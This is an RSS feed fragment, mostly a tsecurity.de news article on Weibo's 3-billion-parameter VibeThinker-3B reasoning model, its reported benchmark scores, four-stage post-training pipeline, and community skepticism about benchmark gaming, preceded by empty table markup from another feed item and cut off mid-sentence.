align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> </tbody></table> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Busy_Ostrich_4717"> /u/Busy_Ostrich_4717 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u82wf6/linux_distributions_glibc_versions_and_acme/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u82wf6/linux_distributions_glibc_versions_and_acme/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Weibo’s tiny VibeThinker-3B has the AI world arguing over benchmarks again]]></title>
<description><![CDATA[On Sunday, a team of nine researchers at Sina Weibo — the Chinese social media giant better known for its microblogging platform than for cutting-edge artificial intelligence — quietly posted a 14-page technical report to arXiv that sent shockwaves through the AI research community. Their claim: ...]]></description>
<link>https://tsecurity.de/de/3603428/it-nachrichten/why-weibos-tiny-vibethinker-3b-has-the-ai-world-arguing-over-benchmarks-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603428/it-nachrichten/why-weibos-tiny-vibethinker-3b-has-the-ai-world-arguing-over-benchmarks-again/</guid>
<pubDate>Wed, 17 Jun 2026 03:17:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>On Sunday, a team of nine researchers at <a href="https://weibo.com/">Sina Weibo</a> — the Chinese social media giant better known for its microblogging platform than for cutting-edge artificial intelligence — quietly posted a <a href="https://arxiv.org/pdf/2606.16140">14-page technical report</a> to arXiv that sent shockwaves through the AI research community. Their claim: a language model with just 3 billion parameters can match or exceed the reasoning performance of flagship systems from <a href="https://deepmind.google/">Google DeepMind</a>, <a href="https://openai.com/">OpenAI</a>, <a href="https://www.anthropic.com/">Anthropic</a>, and <a href="https://chat.deepseek.com/">DeepSeek</a> that are hundreds of times larger.</p><p>The model, called <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a>, scored 94.3 on <a href="https://aime26.aimedicine.info/">AIME 2026</a> — the American Invitational Mathematics Examination, one of the most demanding standardized math competitions in the world. That figure places it alongside <a href="https://api-docs.deepseek.com/news/news251201">DeepSeek V3.2</a>, a model with 671 billion parameters, and ahead of <a href="https://blog.google/products-and-platforms/products/gemini/gemini-3/">Gemini 3 Pro</a>, Google's high-performance flagship reasoning system, which scored 91.7. With a test-time scaling technique the team calls Claim-Level Reliability Assessment, the score climbs to 97.1, edging past virtually every system in the public record.</p><p>Within hours of publication, the paper had drawn 62 upvotes on <a href="https://huggingface.co/papers/2606.16140">Hugging Face's daily papers</a> feed, the model repository had accumulated 130 likes, and the <a href="https://github.com/WeiboAI/VibeThinker">GitHub repository</a> had reached 685 stars. But the reaction on social media was not uniformly celebratory. It was, in many cases, deeply skeptical.</p><p>"WHAT THE HELL is happening in AI?" wrote the user <a href="https://x.com/orcus108/status/2066876960073281582">@orcus108</a> on X, in a post that accumulated over 161,000 views. "A 3B parameter model just put up coding benchmark scores in the same league as Claude Opus 4.5… I genuinely don't know if this is a breakthrough or if the benchmarks are broken."</p><p>That tension — between genuine scientific advancement and the growing suspicion that AI benchmarks have become gameable to the point of meaninglessness — sits at the heart of the <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> story. And the answer matters enormously, not just for academic bragging rights, but for the multibillion-dollar question of whether the AI industry's relentless push toward ever-larger models is the only path to intelligence.</p><div></div><h2><b>Benchmark scores that defy the scaling laws of modern AI</b></h2><p>The results reported in the technical report are, by any conventional standard, extraordinary.</p><p>On the mathematics side, <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> achieved 91.4 on <a href="https://artificialanalysis.ai/evaluations/aime-2025">AIME 2025</a>, 94.3 on <a href="https://llm-stats.com/benchmarks/aime-2026">AIME 2026</a>, 89.3 on <a href="https://huggingface.co/datasets/MathArena/hmmt_feb_2025">HMMT 2025</a> (the Harvard-MIT Mathematics Tournament), 93.8 on <a href="https://huggingface.co/datasets/MathArena/brumo_2025">BruMO 2025</a> (the Brown University Math Olympiad), and 76.4 on <a href="https://huggingface.co/datasets/Hwilner/imo-answerbench">IMO-AnswerBench</a>, a benchmark comprising 400 problems at the level of the International Mathematical Olympiad. In coding, it posted an 80.2 Pass@1 on <a href="https://www.kaggle.com/benchmarks/open-benchmarks/livecodebench-release-v6">LiveCodeBench v6</a>, a benchmark designed to test executable code generation, and achieved a 96.1 percent acceptance rate on unseen <a href="https://leetcode.com/contest/">LeetCode weekly</a> and biweekly contests from late April through late May 2026. On instruction following, it scored 93.4 on <a href="https://huggingface.co/datasets/google/IFEval">IFEval</a>.</p><p>To put the parameter disparity in perspective: <a href="https://api-docs.deepseek.com/news/news251201">DeepSeek V3.2</a> has 671 billion parameters — roughly 224 times the size of <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a>. <a href="https://huggingface.co/zai-org/GLM-5">GLM-5</a>, from Zhipu AI, has 744 billion parameters. <a href="https://huggingface.co/moonshotai/Kimi-K2.5">Kimi K2.5</a>, from Moonshot AI, exceeds 1 trillion. VibeThinker-3B's 3 billion parameters could run on a consumer laptop.</p><p>The researchers frame this result not as an anomaly but as evidence for a broader theoretical claim. They introduce what they call the "<a href="https://arxiv.org/pdf/2606.16140">Parametric Compression-Coverage Hypothesis</a>," which argues that different types of AI capability have fundamentally different relationships to model size. Verifiable reasoning — the kind tested by math competitions and coding challenges, where answers can be definitively checked — is what the paper calls a "parameter-dense" capability: one that can be compressed into a compact core. Open-domain knowledge, by contrast, is "parameter-expansive," requiring broad coverage across facts, concepts, and edge cases that inherently demands more parameters.</p><p>The paper acknowledges this distinction directly. On <a href="https://epoch.ai/benchmarks/gpqa-diamond">GPQA-Diamond</a>, a graduate-level science knowledge benchmark, VibeThinker-3B scored just 70.2 — well behind the 91.9 achieved by Gemini 3 Pro and the 87.0 scored by Claude Opus 4.5. The authors write that this gap "is consistent with our claim rather than a contradiction to it: the main finding is not that a 3B model has fully replaced leading general-purpose models, but that a small model can reach first-tier performance on many verifiable reasoning tasks."</p><div></div><h2><b>Inside the four-stage training pipeline that powers a tiny reasoning engine</b></h2><p><a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> is not built from scratch. It is post-trained on top of <a href="https://huggingface.co/Qwen/Qwen2.5-Coder-3B">Qwen2.5-Coder-3B</a>, a compact foundation model from Alibaba's Qwen team, through what the Weibo AI researchers call the "Spectrum-to-Signal Principle" — a multi-stage pipeline first introduced in the team's earlier VibeThinker-1.5B work in November 2025.</p><p>The training unfolds in four major phases. The first is a two-stage supervised fine-tuning process that uses curriculum learning: the model first trains on a broad mixture of math, code, STEM reasoning, general dialogue, and instruction-following data, then shifts to a curated subset of harder, longer-horizon reasoning problems. In the second stage, samples with reasoning traces shorter than 5,000 tokens are discarded, and problems that <a href="https://huggingface.co/WeiboAI/VibeThinker-1.5B">VibeThinker-1.5B</a> can solve more than 75 percent of the time are filtered out, forcing the model to focus on genuinely difficult challenges.</p><p>The second phase applies reinforcement learning across multiple domains — mathematics, code, and STEM — using the team's <a href="https://www.emergentmind.com/topics/maxent-guided-policy-optimization-mgpo">MaxEnt-Guided Policy Optimization</a> algorithm, or MGPO, which prioritizes training on problems at the model's current capability boundary rather than problems it already solves easily or finds impossible. Notably, the team found that a strategy that worked well at the 1.5B scale — progressively expanding the context window during RL training — actually hurt performance at 3B. They hypothesize that the stronger starting checkpoint meant that truncating reasoning traces during warm-up was no longer removing noise but disrupting valid reasoning patterns. The solution was to train with a single 64,000-token context window throughout.</p><p>Within the math RL phase, the team also introduces what it calls "<a href="https://arxiv.org/pdf/2606.16140">Long2Short Math RL</a>," a secondary optimization stage that redistributes rewards to favor shorter correct solutions over longer ones, reducing verbosity without sacrificing accuracy. The technique uses a zero-sum reward redistribution that avoids biasing the overall reward signal while nudging the model toward more efficient reasoning.</p><p>The third phase extracts high-quality reasoning trajectories from the RL-trained checkpoints and distills them back into a unified model through supervised fine-tuning. The team uses a "learning-potential score" — essentially the student model's perplexity on each teacher trajectory — to prioritize traces that are correct but that the student has not yet internalized. The final phase, called Instruct RL, applies reinforcement learning on instruction-following tasks using a combination of rule-based validators for format constraints and rubric-based reward models for open-ended quality assessment.</p><p><a href="https://x.com/f14bertolotti/status/2066752828505288902">Francesco Bertolotti</a>, an AI researcher who flagged the paper early on X, described the approach succinctly: "These results were achieved primarily through post-training refinements on Qwen2.5-Coder. The paper doesn't provide many details, but it appears they distill from RL ckpts and then do a final RL-based instruct RL." His post drew over 161,000 views.</p><div></div><h2><b>Real-world testing reveals the gap between benchmark scores and practical AI performance</b></h2><p>For every enthusiastic reaction, the paper drew an equally forceful objection. The AI research community in mid-2026 has grown deeply wary of benchmark-driven claims, and <a href="https://github.com/WeiboAI/VibeThinker">VibeThinker-3B</a> arrived in an environment primed for suspicion.</p><p>"The benchmarks are literal pattern matching single file coding," wrote <a href="https://x.com/BigMoonKR/status/2066950583941214698">@BigMoonKR</a> on X. "It has no relation to actual coding work. I don't know how people still don't get this."</p><p>"Benchmaxxing," declared @<a href="https://x.com/oflu_bedirhan/status/2066883558388404717">oflu_bedirhan</a>, using a term that has become shorthand in the AI community for models that appear optimized specifically for benchmark performance at the expense of real-world utility.</p><p>The most pointed criticism came from users who actually downloaded and tested the model. "Just tried the full precision," wrote <a href="https://x.com/politilols/status/2066901234091438132">@politilols</a>. "It doesn't even know what a uv script (so the most popular Python dev tool) is. Haven't seen that in a single LLM in at least a year now. Benchmaxxed." When Bertolotti responded that the model seemed more focused on mathematical reasoning than practical coding, the user countered: "They include a livecodebench score. Zero chance that is reflective of the model."</p><p><a href="https://x.com/Itsdotdev/status/2066961630521385166">@Itsdotdev</a> raised a structural criticism: "Look into the benchmarks themselves and it probably won't be so shocking. Why no DeepSWE? Why none of the standard benchmarks SOTA providers use?" The user @AvenirReym posed a more diagnostic question: "If it holds on a benchmark made after the model's training cutoff, it's real. If it only wins on AIME-style sets that have been circulating for years, it's leakage."</p><p>The paper's authors appear to have anticipated these objections. The technical report states that training sets "have undergone strict benchmark decontamination," including n-gram-based filtering to remove "n-gram overlaps with evaluation sets."</p><p>The LeetCode contest evaluation — which covers contests from April 25 to May 31, 2026, dates that postdate any plausible training data cutoff — represents the most robust guard against data contamination concerns. On those contests, VibeThinker-3B passed 123 out of 128 first-attempt submissions, a 96.1 percent rate that exceeded GPT-5.2, Doubao Seed 2.0 Pro, Kimi K2.5, and Claude Opus 4.6 under identical evaluation conditions.</p><p>Still, real-world user reports suggest a significant gap between benchmark performance and practical utility — a phenomenon that has become familiar across the industry. "In LM Studio it only responds well to first question, next questions reply to the first question," reported <a href="https://x.com/luismolinaab/status/2066980744220528940">@luismolinaab</a>.</p><div></div><h2><b>Why a social media company may have found a crack in the scaling hypothesis</b></h2><p>Even the sharpest critics acknowledged that achieving these benchmark numbers at 3 billion parameters — regardless of how transferable they are to production use cases — is a meaningful engineering achievement. "Even if it's benchmaxxing doing so with 3B parameters is fascinating, goes to show how fast this field is progressing," wrote <a href="https://x.com/rohityin/status/2066913806287327302">@rohityin.</a></p><p>The observation cuts to a question that has consumed the AI industry since the advent of the scaling hypothesis: Is bigger always better? The conventional wisdom, articulated most famously in the Chinchilla scaling laws and reinforced by the commercial dominance of ever-larger foundation models, holds that more parameters and more training data reliably yield better performance. The economic corollary is stark: training and deploying frontier models costs tens or hundreds of millions of dollars, creating enormous barriers to entry.</p><p><a href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> challenges that consensus — but only partially. The paper is careful to draw a boundary around its claims, distinguishing between tasks with "clear verification signals" and those that require broad factual knowledge. The Parametric Compression-Coverage Hypothesis explicitly argues that small models cannot replace large ones across the board.</p><p>"The true significance of VibeThinker-3B does not lie in proving that a 3B model can replace large-scale generalists," the paper states, "but rather in providing a concrete empirical signal: the development of compact models is no longer merely a passive compromise for deployment efficiency or cost control; it emerges as a promising research trajectory that is fundamentally complementary to the traditional parameter scaling paradigm."</p><p>Perhaps the most surprising element of the work is its provenance. Sina Weibo — publicly traded on Nasdaq and Hong Kong, with a market capitalization that fluctuates in the single-digit billions — is not a company typically associated with frontier AI research. Yet the VibeThinker series is Weibo's second major open-source AI contribution in seven months. </p><p><a href="https://huggingface.co/WeiboAI/VibeThinker-1.5B">VibeThinker-1.5B</a>, released in November 2025, demonstrated that a model with just 1.5 billion parameters could outperform the original DeepSeek R1 on several math benchmarks — a result the team achieved for what it claimed was a post-training cost of just $7,800, compared to the $294,000 estimated for DeepSeek R1.</p><p>The research team is compact — nine authors, all listed as Sina Weibo Inc. employees. The model is released under the <a href="https://opensource.org/license/mit">MIT License</a>, one of the most permissive open-source licenses available, and the weights are freely downloadable from both <a href="https://huggingface.co/WeiboAI/VibeThinker-3B">Hugging Face</a> and <a href="https://modelscope.cn/models/WeiboAI/VibeThinker-3B">ModelScope</a>. Within the first day of release, community members had already created GGUF quantizations and derivative models.</p><h2><b>Small models, big implications, and the question the AI industry can no longer avoid</b></h2><p>The most honest assessment of <a href="https://huggingface.co/WeiboAI/VibeThinker-3B">VibeThinker-3B</a> may be that it is simultaneously less and more than what the benchmarks suggest. Less, because a model that struggles with basic knowledge of popular developer tools is unlikely to replace any production-grade coding assistant anytime soon. More, because the underlying insight — that reasoning ability and factual knowledge are partially decoupled, and that the former can be compressed far more aggressively than previously assumed — has profound implications for how the industry thinks about model design, deployment economics, and the accessibility of advanced AI capabilities.</p><div></div><p>If the <a href="https://arxiv.org/pdf/2606.16140">Parametric Compression-Coverage Hypothesis</a> holds, it suggests a future in which small, specialized reasoning engines operate alongside large knowledge-rich models in hybrid architectures — a vision where a 3-billion-parameter model handles the logical heavy lifting while a larger system supplies the factual grounding. Such an architecture could dramatically reduce the cost of deploying AI reasoning capabilities, potentially bringing competition-level mathematical and coding performance to devices with modest hardware.</p><p>"The interesting part is that we're starting to separate knowledge from reasoning," wrote <a href="https://x.com/RealLambdaFlux/status/2066924260724265463">@RealLambdaFlux</a> on X. "A small model with strong post-training can punch way above its size on tasks with clear feedback."</p><p><a href="https://x.com/cmitsakis/status/2066850007693578352">@cmitsakis</a> suggested the practical endgame: "I think small models are the future for agents because they can use tools to get the knowledge and they can run fast and cheap."</p><p>Whether that future arrives through <a 